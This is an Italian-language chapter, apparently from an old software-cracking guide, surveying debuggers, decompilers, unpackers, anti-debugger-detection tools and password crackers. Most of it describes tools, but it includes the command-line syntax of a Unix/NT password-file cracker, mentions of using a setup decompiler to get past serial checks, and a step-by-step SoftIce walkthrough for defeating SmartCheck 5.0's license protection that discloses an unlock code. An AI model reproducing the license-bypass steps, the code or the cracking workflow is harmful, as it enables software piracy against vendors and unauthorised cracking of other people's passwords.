Un problema di TRW è che le istruzionei sulla pagina WEB sono in cinese.
Il seguente file reperito su Internet mostra alcune informazioni in inglese tra cui ci sono le spiegazioni delle funzioni di TRW.

Functions done:
- **load PE runtime & command line**
- **hook all API**
- **load NE at command line, in full-screen DOS window**
- **set options in TRW.ini**
- **Ring0 keyboard handler**
- **asm**
- **file write**
- **instance comment**
- **BPM BPR BPX**
- **dot command**
- **load DOS app**
- **trace DOS app into protect mode**

```
      . BPIO
      . make PE from memory!
      . press hot key Ctrl+L anytime
      .

Functions will be done:

      . show more information about Win95
      . add some function like IDA, support IDC
      . add some funtion to auto unshell,auto kickdog...
      . mouse support
      . test mode
      . bp message
      . heap
      .

Test Dos Protect Mode app
      1. begin a dos windows in Win95
      2. run TRW in another dos windows
      3. run 'trnewdos' in TRW
      4. in another dos window, run PMODE.EXE
      5. back to TRW, you will find you are at the beginning of the
DOS program.
            g 342
            t
            g 342
      6. Press <F8> for some times, now enter 16bit protect mode!
      7. 'g 4dd', Press <F8> for some times, now enter 32bit protect mode!
or just:
            g if cs<100       ;this will run to PM16!
            g if cs!=cs       ;try to run to PM32
            g if cs!=cs       ;again, and we are in PM32

Test Make PE from memory
      del newpe.exe
      TRW msg.exe
            MKPE
      PEcompare msg.exe newpe.exe

or: PESHIELD msg.exe
      PECRYPT  msg.exe
      PELOCK   msg.exe
      PE??     msg.exe
      del newpe.exe
      TRW msg.exe
            g 4010fd          ;this is the entrypoint, I know
            mkpe              ;eip will be the new PE's entrypoint
      PEcompare origin_msg.exe newpe.exe

Always del newpe.exe before 'MKPE', or TRW will append it!
test1:
      trw msg.exe
            <f8>,<f8>,<f8>....
            q

test2:
      trw msg.exe
            g

test3:
      trw msg.exe
            <f8>,<f8>
            <Alt+Tab>   ;Now in Win95 desktop, press <Alt+Tab> again to back
```

```
            q

test4:
      trw ne.exe
            <f8>,<f8>
            g                 ;you can not 'q' when trace a NE app

test5:
      trw msg.exe
            g ord_61
            <f8> some times,back-color of statusline changed means we are
                  in critical status. Now <Alt-Tab> is disabled.
            g

test6:
      trw msg.exe
            g GetVersion
            pret
            <f8>
            g

test7:
      trw msg.exe
            bpx messageboxa
            g
            bc                ;clear all breakpoint
            g

test8:
      trw msg.exe
            <f8>
            w cs:eip,eip+70 >dump.txt     ;write mem dump to file
            u cs:eip,eip+20 >asm.txt      ;write unasm output to file

test9:
      trw msg.exe
            <f8>
            bpio 21
            r edx 21
            e 401112 ec             ;in al,dx
            g 40111f                ;bpio will break at 401112
            q

Test auto change Ring0 & Ring3 keyboard handler:
      1. TRW msg.exe
      2. <F8> some times
      3. press <Alt>+<Tab>, now you can change to other task
      because TRW use Ring3 keyboard handler.
      4. g ord_61, After the 'dec ...', you can not press
      <Alt>+<Tab> anymore, because now TRW use Ring0 keyboard handler.
      5. g ord_62, press <F8> some time, we back to Ring3 again.
```

Commands

H [command]
display help for all commands, or the given command in detail.

HWND [HWND]
Display window handle information.

FKEY [function-key strings]
Display/Set Function keys

ex:
    FKEY
    FKEY f10 d 2;U 3:4

PageIn <address>
    Load the not present page to memory.
    PageIn cs:401000

Lines [25 | 43 | 50 | 60]
    Set/Display screen lines
    ex: lines 43

MKPE
    Make a PE program 'newpe.exe' from the memory.
    Always 'del newpe.exe' before 'MKPE', or TRW will append it!
    Current EIP will be the new entrypoint.

    A util in TRW 'PEcompare' can help you compare the origin PE
    and NewPE to test how TRW work.

PEDUMP
    Dump PE image memory direct to file 'PEDUMP.EXE'.
    You can use G_Rom's MakePE to rebuild a valid PE.

BPIO port
    BreakPoint on port I/O

BPR start_addr end_addr
    BreakPoint on Range access.

BP [[seg:]address]
BPX [[seg:]address]
    BreakPoint on Execute
    'BPX offset' when trace a DOS app will ignore segment.
    On tracing a PE thread, this is same as 'BPM X'.

One-Time BreakPoint commands
    each 'BPXX' command can be replaced as 'GOXX' for a one-time break-point.
    TRW will set this breakpoinnt, go, and clear it.
        gor fs:0 fs:10
        gomd r ds:40000

BP if condition
    BreakPoint on condition
    bp if eax>=3456787
    bp if dx<543
    bp if ch==23
    go if ah!=34
    go if new_section

RS
    Restore User Screen. (F4).
    In most time, you can Alt+Tab to switch to your APP.
    Ctrl+L or Alt+Tab to return to TRW.

WC [codewindow_lines]
    Set lines of code window. No parameter will turn it on/off.
    ex:
        wc 25
        wc

WD [datawindow_lines]
    Set lines of data window. No parameter will turn it on/off.

ex:
wd 25
wd

WMSG - Display windows messages
usage:
WMSG [partial-name] [WMSG-number]

...

Hot Key Ctrl+L
Most time, you can Alt+Tab to switch betreen your app and TRW.
If this was disabled, you can press Ctrl+L to back to TRW quickly.

Services

TRW provides UNASM (and ASM ?) service to DOS programs.
Check test1.asm for more.

Alcune volte il problema è legato al cracking di sistemi zippati.
Un ottimo password cracker è :

ULTRAZIP PASSWORD CRACKER
All copyrights to UZPC are owned by Ivan Golubev.

PasswordCracker riesce a creare in continuazione combinazioni di caratteri che vengono usate per tentare di decodificare file .ZIP protetti da password.
Dispone di diversi metodi selezionabili da setup.
Le parole possono essere scelte da vocabolari, generate con condizioni (minusole, maiuscole, numeri ecc.)
Esistono diversi programmi simili a quello appena visto che agiscono su reti e la loro finalità è quella di trovare password di sistemi Unix o NT.
Uno di questi è :

S T A R C R A C K E R v1.0b1
b y T h e S O r C E r E r
The_SOrCErEr@mail.dotcom.fr
http://www.chez.com/thes

StarCracker esiste per la versione UNIX e per Windows NT.
Il software si basa su un vocabolario di parole.
La sintassi è la seguente :

```
STAR CRACKER  v1.0b1  Copyright (c) 1997, The SOrCErEr

Usage: starcrak <flags> [<password file(s)>]
Flags: -pwfile:<file>[,..]     Set password file(s)
       -single -xingle         Turn on single or extended single crack mode
       -wordfile:<file> -stdin Turn on wordlist mode and use <file> or stdin
       -grammar:<rule>[,..]    Set grammar mode to specified grammar rule(s)
       -combination[:<mode>]   Turn on combination mode
       -stats:<new_mode>       Make statistics and create file <new_mode>.sta
       -rules -norules         Rules for wordlist / No rules for single modes
       -users:<login|uid>[,..] Crack this (these) user(s) only
       -groups:[!]<gid>[,..]   Crack users of this (these) group(s) only
       -shells:[!]<shell>[,..] Crack users having this (these) shell(s) only
       -filter:<filter_name>   Turn on this words filter
       -timeout -timestep:<m>  Set timeout or timestep delay in minutes
       -stop:<n> -step:<n>     Stop/step to next mode after <n> passwds found
       -restore[:<file>]       Restore a session
       -show                   Show cracked passwords from the pwfile(s)
       -beep -quiet            Turn on/off beep when a password is guessed
       -test -min:<l> -max:<l> Make a benchmark / Set min or max word length
       -list                   Display each word tested
       -salt -disp             Crack salt by salt / Display current salt
       -noname -nohash         Don't use memory for logins or hash tables
```

SOFTWARE SPECIALI

Una menzione deve essere fatta a software particolari.
Molti linguaggi, Java ad esempio, fino a qualche tempo fa viaggiavano con RunTime attaccati per cui si trascinavano dietro gran parte delle informazioni simboliche derivanti dai sorgenti originali.
Spesso SofiIce e Wdasm mostrano le informazioni con uno stile del tipo :

```
CALL        MyProgram.FUNCTIONCopy
```

Quella CALL MyProgram.FUNCTION1 darebbe inizialmente una piccola parvenza di 'simbolico' anche se di fatto non lo è per niente.
Sucuramente MyProgram non è una stringa dervante da una symbol table ma è semplicemente SI che sapendo le righghe sono nel programma MyProgram, aggiunge appunto il nome per dire che la funzione è relativa al programma MyProgram.
FUNCTION1 invece sarà un nome inventato per semplificare la visualizzazione.
In altre parole SI o il debugger hanno sostituito un indirizzo con un nome simbolico inventato.
Linguaggi come jAVA, VisualBasic , Clipper ecc. invece portavano gran parte del loro codice originario con loro tanto che alcuni programmi potevano 'resourcizzare' (risorgentizzare in italiano) i programmi.
Precedentemente ho parlato di JAD che riesce a restituire il sorgente JAVA partendo da un .class.
Ormai i programmi Clipper, o almeno certe versioni, sono oggetti da museo per cui trattare certi programmi non ne vale la pena.
Ho trovato recentemente un CD intitolato HACKER che diceva :
"Svelati i misteri dei virus. Conoscere le tecniche riportate sul CD vi permetterà di girare tranquillamente su internet senza prendervi più virus."
La scritta ideale sarebbe stata :
"Non girate più su internet per prendervi virus. Inserite questo CD è prendetevelo direttamente qui."

Infatti proprio in un programma intitolato THIEF.EXE che spiega come non prendere il virus THIEF è presente un virus.
Questo per farvi capire l'altissima qualità del prodotto.
Il CD è stato pubblicato nel 1998 e la versione di WDASM riportata è la 1.2 (oggi siamo alla 8.9).
Per farla breve in questo CD sono presenti alcuni disassemblatori per Clipper e VisualBasic.
Tra i decompiler riportati esiste uno per Java scritto in ADA.
Vi riporto il nome anche se di fatto non l'ho neppure provato dato che fino ad ora JAD non ha sbagliato una solo decompilazione.
Si tratta di :

DECAF
Gilles Demailly - 100704.2016@compuserve.com
(this email address and the Decaf Homepage site are provided by friends from TeleObjet, please check their home page at :
http://ourworld.compuserve.com/homepages/teleobjet/Homepage.htm)

L'interesse maggiore sta nel fatto che è stato scritto in ADA ed è fornito con i sorgenti.
Per i teorici universitari in balia di docenti con manie strane (simulatori di processori in scheme, riproduzione del concetto di favola in assembler …) potrebbe essere interessante.
Un altro decompiler è relativo a FOXBASE.

FOXDCOMP
A DECOMPILER FOR FOXBASE PROGRAMS
by Doyle and Associates
Doyle and Associates
101 Westminster Road
Rochester, NY 14607
Telephone: (716) 461-1148
Uno dei pochi software strani che dicendo la verità non ho ancora capito bene è il seguente.
Vi riporto il file README da cui potete vedere le potenzialità.
Vederlo in funzione ha lo stesso stile dei programmi DOS della Borland.

```
IDA Version 2.05
-----------------
Fidonet:    2:5020/209@fidonet
Internet:   Ilfak_Guilfanov@n209.f5020.z2.fidonet.org


Welcome to the First True Interactive Disassembler which allows you
to explore and modify even compressed executable files !

Disassembling for:              Intel 8080
                                Intel 8085
                                Z 80 (not full)
                                Intel 8086
                                Intel 80286/287 real & protected
                                Intel 80386/287 real & protected
                                        (32-bit processing)
Interactive mode:               YES
Menu driven mode:       YES
Command language:               built-in C-like language
MultiWindow:                    YES
MultiTasking:                   Background analysis
Semi-batch mode:                YES
Multisession:                   YES
Number of segments:             UNLIMITED
                         There is a limit on the number of
                         contigious non-adjacent memory chunks.
```

It is about 170.

```
Size of input file:            UNLIMITED
Number of cross-references:    UNLIMITED
AutoComment:                   BIOS & DOS interrupts
                               (comments for all commands are available)
Max length of one comment:     255 chars
Number of lines per
        instruction/data       100
Keyboard redefenition:         YES
Screen colors redefinition:    Temporarily not available
Input file patching:           YES
Output file types:             EXE (patched input file)
                               COM (patched input file)
                               BIN (patched input file)
                               ASM (output source code)
                               MAP (output MAP file for debugging)
                             IDC (IDC program to recreate IDA database)
```

Per quanto riguarda il disassemblaggio di CLIPPER 5 potete provare il segeunte software.

Valkyrie 5 DEMO
Terminal Impact
2222 Foothill Blvd. #312
La Canada, CA 91011 USA
Tel: 818-790-0599
Fax: 818-790-0699
BBS: 818-790-0799
WWW: http://www.terminal-impact.com

Ci tengo a ripetere che queste, nel presente capitolo, sono solo informazioni che voglio riportare per eventualemnte aiutare a reperire certo software a chi ne ha bisogno.
Io personalmente non l'ho provato per cui l'unica cosa che potete fare se vi serve è quella di collegarvi sui siti riportati e divertirvi a vostre spese.
Ora siamo arrivati a VisualBasic.
Tutto il readme è in tedesco per cui non ho capito se le info seguenti sono valide.

VBDis3 - DER Discompiler für Visual Basic
DoDi
(MausNet: Hans-Peter Diettrich @ S)

In un'altra directory del disco compare la versione per VB4.

VBOpt4 - DoDi's Disassember for VB4
(Dr. H.-P. Diettrich)
CompuServe: 100752,3277
Internet: 100752.3277@compuserve.com
WWW: http://ourworld.compuserve.com/homepages/DoDi

In questo caso le info sono in inglese e sullo stesso si parla anche di VB5.

Esistono utilities fornite con i sistemi di sviluppo che permettono di svolgere alcune funzioni viste con altre utilities.
Ad esempio LINK.EXE e DUMPBIN.EXE (Visual C++ 32-bit edition) possono essere usati per esehuire il dump del portable executable (PE) header di un file eseguibile.
Il segunet è un frammento del dump

7300 address of entry point
7000 base of code
B000 base of data
----- new -----
10000 image base

Il valore di "image base" di 10000 è l'indirizzo dove il programma inizia nella memoria.
Il valore asociato con "base of code," "base of data," e "address of entry point" sono tutti offsets dall' "image base".

Microsoft ogni tanto rilascia delle raccolte di software legate ai suoi prodotti e quindi relativi a Windows, linguaggi vari ecc.
Nell'ultima versione rilasciata è possibile trovare Microsoft Windows System Debugger (WDEB386.EXE) il qale è usato per testare e debuggare applicazoni Windows, dynamic-link libraries (DLLs), e device driver virtuali (VxDs).
É possibile lanciare il system debugger tramite la linea di comando oppure specificandolo nel file SYSTEM.INI.
Prima di partire bisogna seguire i seguenti passi.

- Connettete un terminale seriale od un altro computer alla porta seriale del computer che state debuggando.
- Create o preparate i symbol files dell'applicazione, DLLs, e VxDs che volete debuggare.

I file simbolici dei driver e delle DLL di sistema sono fornite con il DDK.
In ogni caso questo tipo di debugger non è decisamente quello che serve per compiti come i nostri se non per certi casi legati ad altri tipi di protezioni del software come ad esempio chiavi hardware o software che comunque possiedono agganci a driver.

Cool Debugger for Win32
version : 1.2
Author : Wei Bao (in chinese : °üÎ°)
Email : wei.bao@usa.net wei.bao@bj.col.com.cn
HomePage: http://www.nease.net/~baowei

```
PEViewer E:\Microangelo\muani.exe
File  Edit  Debug  Tool  Help
Unassemble | TreeView | DumpView | HexView | Debug
ThreadID   FFCAF2E3   ThreadHandle   000000A0
>PUSH  EBP                     ;0041F16E 55
 MOV   EBP, ESP                ;0041F16F 8BEC
 PUSH  FF                      ;0041F171 6AFF
 PUSH  004253F8                ;0041F173 68F8534200
 PUSH  00421A04                ;0041F178 68041A4200
 FS:MOV EAX, [00000000]        ;0041F17D 64A100000000
 PUSH  EAX                     ;0041F183 50
 FS:MOV [00000000], ESP        ;0041F184 648925000000000
 SUB   ESP, +58                ;0041F18B 83EC58
 PUSH  EBX                     ;0041F18E 53
 PUSH  ESI                     ;0041F18F 56
 PUSH  EDI                     ;0041F190 57
 MOV   [EBP-18], ESP           ;0041F191 8965E8
 CALL  [004250C0] ; -*- GetVersion  ;0041F194 FF15C0504200

EAX 0041F16E   CF 0
EBX 00560000   PF 0
ECX 8162AEC8   AF 0
EDX 8162AF08   ZF 0
ESI 8162AEA8   SF 1
EDI 00000000   TF 0
EBP 0057FF78   IF 1
ESP 0057FE3C   DF 0
EIP 0041F16E   OF 1
CS  0177       NT 0
DS  017F       VM 0
ES  017F       RF 0
SS  017F       IO 0
FS  55FF
GS  0000
>0057FE3C  BFF8B537
```

Cool debugger è un programma simpatico molto compatto che contiene al suo interno tutte le utility necessarie a partire dal debugger, al dump hex, al visualizzatore di informazioni tipo ScanBin.
Diciamo che si tratta di un tutto in uno.
Permette di eseguire lo step by step come i fratelli più grandi trattandosi di un vero e proprio debugger e non solo di un disassemblatore.
Le caratteristiche dell'ultima versione dichiarate dall'autore sono :

Features in v1.2
1. Unassembly upto MMX/P6 opcode
2. Assembly upto Pentium opcode
(without FPU opcode, do you really need it? tell me.)
3. Hook all imported functions (like system dll call) that are called APIs .
All hooked APIs are counted when called.
4. MultiThread enabled
5. Emulation - Automatic trace through the debugee until a breakpoint is met.
6. Log the API call history
7. When a value is needed, an expression can be used. (like eax + ebx,
[ecx + 3] + ebx)
8. Delphi 3.0 object structure recognizing(only for registered user)
9. more ... ? If you ask for more, let me know. :)

Per le dimensioni che possiede COOLDB devo ammettere che svolge le sue funzioni molto meglio di altri pacchetti che a prima vista sembrerebbero più professionali.
Alcune volte i pacchetti di classe superiore creano dei problemi.
Ad esempio le ultime versioni della protezione VBOX se riescono a intercettare SoftIce escono senza tante storie.
In altre parole usare SoftIce diventa complesso.
CoolDb riesce in questo caso a non fare accorgere il sistema di protezione che esiste un debugger caricato.
DEWIN è invece un programma che riesce a fare il dump di un programma Windows scrivendolo su file.
Il programma viene fornito con tanto di sorgenti.

```
0040106E:   cmp   w ecx,03
00401071:   jnz   004010B9
00401073:   xor   esi,esi
00401075:   cmp   eax,esi
00401077:   jz    00401085
00401079:   mov   eax,[0042DDCC]
0040107E:   push  eax
0040107F:   call  [0042511C]  ; --> GlobalFree
00401085:   push  ebx
00401086:   mov   [0042DDCC],esi
0040108C:   call  [00425120]  ; --> GlobalDeleteAtom
00401092:   cmp   [00428678],esi
00401098:   jz    004010C8
0040109A:   mov   ecx,[0042BE4C]
004010A0:   mov   edx,[0042A574]
004010A6:   push  esi
004010A7:   push  ecx
004010A8:   push  03E1
004010AD:   push  edx
004010AE:   call  [004252E8]  ; --> PostMessageA
004010B4:   pop   esi
004010B5:   pop   ebx
004010B6:   retn  000C  ; disk offset 10B9h
```

Il precedente è un piccolo pezzo di dump eseguito con DEWIN dal quale è possibile vedere l'accuratezza abbastanza buona che mantiene segnalando a fianco ad ogni call di quale funzione API si tratta.

Come dicevamo prima alcuni file per installarsi richiedono il codice in fase di SETUP.
Per poter riuscire ad entrare si deve decompilare anche i vari files creati da INSTALL SHIELD, WISE ecc.
I seguenti files sono decompilatori di questi programmi di setup.

Windows.Installshield.Decompiler.V1.00.Beta
[NaTzGUL/SiraX Production '98]

Il pacchetto si compone dei seguenti files :

wisdec.exe - Windows Installshield Decompiler V1.00 Beta Main Exe File
wisdec.hlp - Windows Installshield Decompiler V1.00 Beta Help File
wdtut1.htm - Windows Installshield Decompiler V1.00 Beta Tutorial #1
isdecomp.htm - NaTzGUL's Windows Installshield Script Cracking Tutorial
file_id.diz - Program Description
filelist.txt - File Listing

L'help è molto corposo e ben fatto.
Il programma è portentoso in quanto riesce a ricostruire lo script che ha creato il setup.
Date un occhiata a che bel 'INVALID SERIAL NUMBER' dentro alla seguente immagine.

```
Setup.ins - Windows InstallShield Decompiler
File  Edit  Decompile  Misc  Help
8   invalid   MsgRef  StrRef
00001E4A: 0013   StrVar[001F] = StrVar[001C]
00001E52: 0013   StrVar[0020] = StrVar[001D]
00001E6D: 0128   IF (Call Function_0069_[LABEL_002C] = 00000000) THEN
00001EA7: 0128       IF (StrCompare (StrVar[001E],"EVALUATION") != 00
00001EC7: 0013           StrLocal[0003] = "INVALID SERIAL NUMBER! If
00001F39: 0021           NumLocal[0002] = FFFF0001
00001F43: 002A           MessageBox (StrLocal[0003],NumLocal[0002])
00001F4B: 0013           StrVar[0021] = StrVar[001E]
Ready...
```

Beh.
Dopo questo è sufficente ricompilare con INSTALL SHIELD e vai ...
Magari non è sempre cosi semplice ma comunque il programma è una gran cosa.

Per quanto riguarda invece i files creati dal setup WISE abbiamo :

exwise v0.5
(c) 1998 Andrew de Quincey
http://www.tardis.ed.ac.uk/~adq
adq@tardis.ed.ac.uk

Il programma è fornito con tanto di sorgenti.

Programmi particolari adatti all'analisi di file .EXE sono :

[þ] EXESCAN v3.21 [þ]
The Executables' Analyzer
Copyright (C) 1997-98 by ST!LLS0N

Features:
   * Designed for unpacking especially

* Identifies almost any EXE/COM
  packer, crypter, protector and
  the most famous compilers
* MZ/LE/LX/NE/PE headers recogizing
* Win32 executables analyzing
* DeepScan mode (detects more than
  one item at once)
* Generic detection
* TEU unpacker support
* Built-in disassembler
* The most powerful EXE-analyzer
  available today!
* Freeware. Personal registration!

[dOS/wIN aNALYZERS]ÄÄ[December, 1998]

Quando mparlavamo di SoftIce dicevamo che molti programmi tentano di intercettarlo.
FrogICE permette di nascondere SoftIce.

FrogsICE is a VxD (Virtual device driver for Windows, just like a good old TSR for DOS).
It allows you to intercept programs (exe or COM, DOS/Win16 or Win32) which would try to
detect if SoftICE is loaded. It is particularly useful for packed/encrypted programs.

FrogsICE runs ONLY on Win95/98 OS.

Dove trovarlo ?

+Frog's
www.thepentagon.com/frog_s_print

Sempre nel campo di SoftIce troviamo Icedump di cui vi riporto integralmente il file .IDZ

ICEDUMP beta 5 build 15

1999-09-15

Dumper for Softice for Win9x.

- **Implemented as an internal Winice command (PAGEIN).**

- **Subcommands:**

  dump memory to file
  load file into memory
  dump via Bhrama/Procdump
  dump winice screen to file (ascii/html)
  suspend/resume thread/process
  set page table entry flags
  change FPU registers
  dynamic update of PAGEIN patch
  start/stop playing tracks on CD
  print usage info ;-)

- **Simple anti debugger detection code: Int1/Int3/Int4/Int5 IDT entries will be changed so that simple offset compares would no longer detect winice.**

- **Parser accepts expressions whereever possible.**

- **Supports V86, ring-3/16, ring-3/32 and ring-0/32 protected mode clients whenever possible.**

- **No restrictions for size of memory block and path/name of dump file.**

- **Fool-proof internal parser and dumper (but do RTFM ;-).**

- **Sources are included, now you can even modify them to your liking.**

Precedentemente, parlando di REGSNIF o di quelle utilities che creavano dei DUMP di sistema per controllare le modifiche fatte da un programma installato, avevo detto che poteva essere utile conoscere quali chiavi venivano aggiunte al file di registro, quali files venivano inseriti nel file system.
Bene.
INWATCH è un utility che controlla il sistema durante l'isntallazione di programmi.
Questo programma è inoltre in grado di eseguire dei backup dei files prima dell'installazione.

Successivamente è possibile eseguire dei confronti o al limite restorare la situazione.

Un utility piccola ma carina è SPY Windows che permette di intercettare i messaggi diretti ad una certa finestra.
E' inoltre possibile inviarli.
Il solito mirino spostabile sulla finestra desiderata permette di selezionare quale handle utilizzare.
Il programma ricorda le utilites di Microsoft.
Spy Windows diventa utile per vedere, prima di usare qualche breakpoint sui messaggi, quali messaggi sono generati da una certa finestra.

Il prgramma lo trovate a :

Spy & Capure Version 2.70
Kobi Krichmar
E-Mail: krichmar@hotmail.com
Web Site: http:come.to/kobik

La parte terminale, dopo aver trovato i punti da modificare, della fase di debugging è quella relativa alla creazione delle patch.
Chiramente io la metto sotto forma di patch create per sproteggere qualche software anche se le patch possono essere anche quelle che vengono create per porre rimedio a problemi di programmi commercializzati.
Comunque sia l'origine della patch il programma migliore è PtachIT.

Il programma permette di creare un lista dei file a cui applicare le patch e permette anche di creare dei messaggi da visualizzare durante l'esecuzione di queste.
Se per caso trovate il modo di crackare un file e volete pubblicare la vostra modifica potete usare PatchIT per crearla e renderla indipendente.

Un altra utility simpatica è EXESCAN la quale permette di analizzare dei files eseguibili e di identificare quali sono stati i compilatori che lo hanno prodotto.
EXESCAN è inoltre in grado di identificare i protettori, i patchers e i packers.
I formati riconosciuti sono :

compilers:
Borland C
Borland Pascal
Watcom C
TMT Pascal
Microsoft C
GNU C
Symantec C
PowerBASIC
Zortech C
QuickBASIC
Turbo Basic
PL/I-86

packers/protectors:
Alec v1.6
ProtEXE v3.10/v3.11
Protect! EXE/COM v6.0
CrackStop v1.0b-v1.03

PCrypt v3.50
HackStop v1.18
Ciphator Pro v4.6
EXE Manager v3.0
Secure v0.19
Xorer v2.0
NoDebug v1.0
RCC II/286 v1.14
Crypt/Dismember v1.7
Anti-TEU v0.9
XPack v1.65-v1.67
PGMPack v0.13
DOP''s CRYPTEXE v1.04
PSP''s EXE2COM v2.0

E questa è solo una lista parziale dei formati riconosciuti.
Un programma strano ma carino è CUSTOMIZER.

www.ozemail.com.au/~wanga
Wanga International
PO. Box 64
Carlton North 3054
Victoria
Australia
Fax +613 93804419

Il programma è una potente utility che permette di interagire e manipolare tutte le windows sulla macchina.
Le finestre, o dialog, scroll bars, pulsanti ecc. possono essere controllate direttamente da CUSTOMIZER.
Ogni modifica può essere salvata in modo permanente.
I lavori che possono essere fatti sono :

- **Cambiare il testo di ogni oggetto.**
- **Abilitare o disabilitare qualsiasi oggetto**
- **Muovere il controllo nella finestra**
- **Interagire con altre applicazoni.**
- **Determinare password nascoste.**
- **Trovare oggetti nascosti**

The Customiser Configuration Screen
Window Details | Size and Position | Text | Misc. | API Message
Enable Show Exclude Preview Select On
Disable Hide
Press 'On' and select a window to edit when in 'Select Mode'.
Use the right mouse button to bring up the Configuration menu.
Class: ToolbarWindow32
Text:
Parent Class: ReBarWindow32
Parent Text:
Handle: 0x0830 Top: 246 Height: 26
(630,347) Id: 40960 Left: 366 Width: 564
OK Annulla Applica

SMARTCHECK by NUMEGA

Avevamo inizialmente parlato di SMART CHECK il quale, anche se indirizzato a Visual Basic, permette di monitorare un programma al fine di ricercare errori e disfunzioni ma anche semplicemente per controllare le funzioni API richiamate.
E' possibile reperire la versione sprotetta della versione ed in ogni caso è semplice cercare di eliminare la protezione presente nella 5.0 facendolo con il suo fratellino SoftIce.

Per farlo è sufficiente inserire un breakpoint cercando di intercettare GetWindowText con :
bpx GetWindowText

Il programma si interromperà su :

```
CALL USER!GETWINDOWTEXT
LEA AX,[BP-32]              ; in ax l'indirizzo di quanto avete inserito
PUSH SS                     ; Il segmento ...
PUSH AX                     ; offset
PUSH DS                     ; Il segmento della password reale
PUSH 06BA                   ; il suo offset
CALL USER!LSTRCMP           ; Le compara
```

Ora per vedere la password facciamo un DUMP dell'indirizzo DS:06BA

d ds:06ba l 64

Ora dovreste avere la password, e invece avremo &Smc50-14d% dinanzi agli occhi.
Installiamo il programma normalmente e riattiviamolo lanciando un programma a 32 bits.
Compare la maschera in cui viene richiesto l'unlock code.
Andiamo nuovamente nel debugger e attiviamo nuovamente il breakpoint.
Ci fermeremo su :

```
ADD ESP,04 LEA EAX,[EBP-14]   ; Vostra password
LEA ECX,[EBP-28]              ; La password corretta
PUSH EAX
PUSH ECX
CALL 10005680
```

Digitando :

d ecx l 64

avremo i 16 bytes del codice.

Ritorniamo a SmartCheck come programma.
Bisogna sottolineare che la sua specializzazione è relativa a VisualBasic come per tanti altri programmi di NuMega (FailSafe, BoundChecker ecc.)
In pratica SmartCheck svolge una funzione di Spy un pò più specializzata per i programmi VB.
Proprio per la sua caratteristica di avere delle DLL che costituiscono il run time di VB spesso si incontrano difficoltà a debuggare programmi scritti con questo linguaggio.
SmartCheck costituisce un valido aiuto per questi casi.

Decafe Pro
Java Decompiler for Windows 95/98/NT
Home page: http://decafe.hypermart.net
Email: decafe@home.com

Si tratta di un ottimo Java Decompiler in ambiente Windows (al contrario di JAD che è per ambiente DOS).
Semplicemente selezionando un file .class viene decompilato nel suo .java
La versione che si trova in giro non ha funzioni di salvataggio, drag’n’drop attive.
Per attivarle è sufficiente collegarsi al suo sito tramite funzioni interne al programma.

Sempre nell’ottica che a volte il problema è relativo al fatto di reperire più informazioni possibili esistino infinità di utility.
Una di queste è APIS 32 che permette di analizzare le funzioni che un programma richiama.
APIS 32 permette di aggiungere nella Windows principale le funzioni che si desidera tenere sotto controllo.
La scelta viene fatta selezionando da file forniti con il pacchetto i quali contengono le funzioni specifiche di ogni DLL (kernel32, mapi32 ecc.)
Mandando in esecuzioni il programma è ppossibile vedere quali funzioni sono state chimate e a quale punto.
Succesivamente all’esecuzione è possibile analizzare il file di LOG che viene creato dal pacchetto.
Possono essere ricavate facilmente informazioni difficilmente individuabili in altro modo.
Il seguente è uno spezzone di file .log relativo ad un programma analizzato con APIS 32.

```
=============  Created by APIS32  v. 2.4  =============

0048C427:GetModuleHandleA(LPSTR:00000000)
0048C42D:GetModuleHandleA = 400000
0048C445:GetModuleFileNameA(HANDLE:00400000,LPSTR:00590020:"t",DWORD:000000FF)
0048C44B:GetModuleFileNameA = 12
0048CE5F:CreateFileA(LPSTR:00590020:"E:\CIA\CRACKME.EXE",DWORD:80000000,DWORD:00000003,LPDATA:00000000,DWORD:00000003,DWORD:00000080,HANDLE:00000000)
0048CE65:CreateFileA = C
0048D617:CreateFileA(LPSTR:006BBA90:"\\.\SHRINK33.LDR",DWORD:00000000,DWORD:00000000,LPDATA:00000000,DWORD:00000003,DWORD:04000000,HANDLE:00000000)
```

```
0048D61D:CreateFileA = FFFFFFFF
0048D6DB:GetWindowsDirectoryA(LPSTR:006BFCAC:"Œ-Ç_Ù_÷¿w_",DWORD:00000104)
0048D6E1:GetWindowsDirectoryA = A
0048CE5F:CreateFileA(LPSTR:006BFCAC:"C:\WINDOWS\000E121.TMP",DWORD:40000000,DWOR
D:00000000,LPDATA:00000000,DWORD:00000002,DWORD:00000080,HANDLE:00000000)
0048CE65:CreateFileA = 10
0048CEAF:WriteFile(HANDLE:00000010,LPDATA:006BBBA8,DWORD:00003220,LPDATA:006BBB7
4,LPDATA:00000000)
0048CEB5:WriteFile = 1
0048D617:CreateFileA(LPSTR:006BBA90:"\\.\000E121.TMP",DWORD:00000000,DWORD:00000
000,LPDATA:00000000,DWORD:00000003,DWORD:04000000,HANDLE:00000000)
0048D61D:CreateFileA = 10
0048D7D5:DeleteFileA(LPSTR:006BFCAC:"C:\WINDOWS\000E121.TMP")
0048D7DB:DeleteFileA = 1
0048C637:LoadLibraryA(LPSTR:004646DC:"kernel32.dll")
0048C63D:LoadLibraryA = BFF70000
0048C637:LoadLibraryA(LPSTR:0046495C:"user32.dll")
0048C63D:LoadLibraryA = BFF50000
0048C637:LoadLibraryA(LPSTR:00464996:"advapi32.dll")
0048C63D:LoadLibraryA = BFEA0000
0048C637:LoadLibraryA(LPSTR:004649D6:"oleaut32.dll")
0048C63D:LoadLibraryA = 65340000
0048C637:LoadLibraryA(LPSTR:00464A66:"kernel32.dll")
0048C63D:LoadLibraryA = BFF70000
0048C637:LoadLibraryA(LPSTR:00464AC8:"advapi32.dll")
0048C63D:LoadLibraryA = BFEA0000
0048C637:LoadLibraryA(LPSTR:00464B08:"kernel32.dll")
0048C63D:LoadLibraryA = BFF70000
0048C637:LoadLibraryA(LPSTR:00464ECA:"gdi32.dll")
0048C63D:LoadLibraryA = BFF20000
0048C637:LoadLibraryA(LPSTR:004653B2:"user32.dll")
0048C63D:LoadLibraryA = BFF50000
0048C637:LoadLibraryA(LPSTR:00465D66:"ole32.dll")
0048C63D:LoadLibraryA = 65F00000
0048C637:LoadLibraryA(LPSTR:00465D7E:"comctl32.dll")
0048C63D:LoadLibraryA = BFB70000
```

Ad esempio l'analisi fatta nell'esemmpio precedente è relativa ad un file protetto con shrink.
Dal file di LOG si possono vedere alcune funzioni richimate dal programma.

```
0048CE5F:CreateFileA(LPSTR:00590020:"E:\CIA\CRACKME.EXE",…….
0048D617:CreateFileA(LPSTR:006BBA90:"\\.\SHRINK33.LDR",….
